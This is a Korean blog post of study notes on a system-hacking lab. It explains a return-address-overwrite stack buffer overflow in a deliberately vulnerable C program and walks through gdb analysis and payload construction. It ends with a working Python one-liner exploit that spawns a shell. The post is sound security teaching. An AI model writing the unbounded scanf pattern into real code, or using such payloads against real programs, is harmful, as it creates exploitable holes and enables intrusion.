시스템 해킹 #3

yxxun1216·2022년 10월 8일
0

System Hacking

목록 보기
3/4

Stack Buffer Overflow


Return Address Overwrite✏️

Return address overwrite는 스택 프레임의 반환 주소를 조작함으로써 프로세스의 실행 흐름을 바꾸는 공격 기법.

1. 분석

취약점 분석

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

위 코드의 취약점 : scanf("%s", buf)

  • scanf함수의 포맷 스트링 중 하나인 %s는 문자열 입력받을 때 사용
  • 입력의 길이를 제한하지 않음
  • 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력받음
  • 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우 발생 가능
  • "%[n]s"의 형태를 사용해야 함

이외에도 strcpy, strcat, sprintf 등 버퍼를 다루면서 길이를 입력하지 않는 함수는 위험.
-> strncpy, strncat, snprintf, fgets, memcpy등으로 사용.

트리거

취약점을 확인하기 위해 발현시키는 것을 트리거(trigger)라고 함.

$ gcc -o rao rao.c -fno-stack-protector -no-pie
$ ./rao
Input: AAAAA
$

위 프로그램에서 취약점을 트리거하기 위해 "A" 64개 입력

$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Segmentation fault라는 에러 출력 후 프로그램 비정상적 종료.
잘못된 메모리 주소에 접근하여 버그가 발생함.
(core dumped)는 코어파일(core)을 생성했다는 뜻으로 프로그램 비정상 종료 시 디버깅을 돕기 위해 운영체제 생성.

gdb 툴을 이용하여 코어파일을 분석할 수 있음.

2. 익스플로잇

스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜 반환주소를 덮어보기 위해서 먼저 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사.
- main의 어셈블리 코드를 확인
- scanf의 인자 전달부분 확인

pwndbg> nearpc 0x400611
   0x4005fe <main+25>            lea    rax, [rbp - 0x30]
   0x400602 <main+29>            mov    rsi, rax
   0x400605 <main+32>            lea    rdi, [rip + 0xa8] #0x4006b4
   0x40060c <main+39>            mov    eax, 0
 ► 0x400611 <main+44>            call   __isoc99_scanf@plt <__isoc99_scanf@plt>
   
pwndbg> x/s 0x4006b4
0x4006b4:       "%s"

의사 코드로 표현하면 아래와 같음.

scanf("%s", (rbp-0x30));

오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치. rbp에 스택 프레임 포인터(SFP)가 저장되고 rbp-0x8에는 반환 주소가 저장.
입력할 버퍼와 반환 주소 사이 0x38만큼 거리가 있으므로 그만큼 쓰레기값(dummy data)로 채우고 실행하고자 하는 코드 주소를 입력하면 조작 가능.

get_shell() 주소 확인

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};

위 예제에는 셸을 실행하는 get_shell()함수가 있으므로 이 함수의 주소로 main함수의 반환 주소를 덮어 셸 획득가능.
get_shell()주소를 찾기 위해 gdb 사용.

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4005a7 <get_shell>
pwndbg> quit

get_shell()주소가 0x4005a7임을 확인.

페이로드 구성

페이로드(Payload)는 시스템 해킹에서 공격을 위해 프로그램에 전달하는 데이터.

이와 같은 페이로드를 구성.

엔디언 적용

엔디언(Endian)은 메모리에서 데이터가 정렬되는 방식으로 리틀 엔디언(Little-Endian, LE)과 빅 엔디언(Big-Endian, BE)이 사용.

  • 리틀 엔디언은 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장.
  • 빅 엔디언은 데이터의 MSB가 가장 낮은 주소에 저장.

구성한 페이로드를 엔디언을 적용하여 프로그램에 전달.

익스플로잇 작성 시 대상 시스템의 엔디언 고려 필요. 인텔 x86-64 아키텍처를 사용하면 get_shell()의 주소인 0x4005a7“\xa7\x05\x40\x00\x00\x00\x00\x00”로 전달.

익스플로잇

엔디언 적용하여 페이로드 작성 후, 다음과 같이 rao에 전달하면 셸 획득 가능.

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xa7\x05\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

셸 획득.

0개의 댓글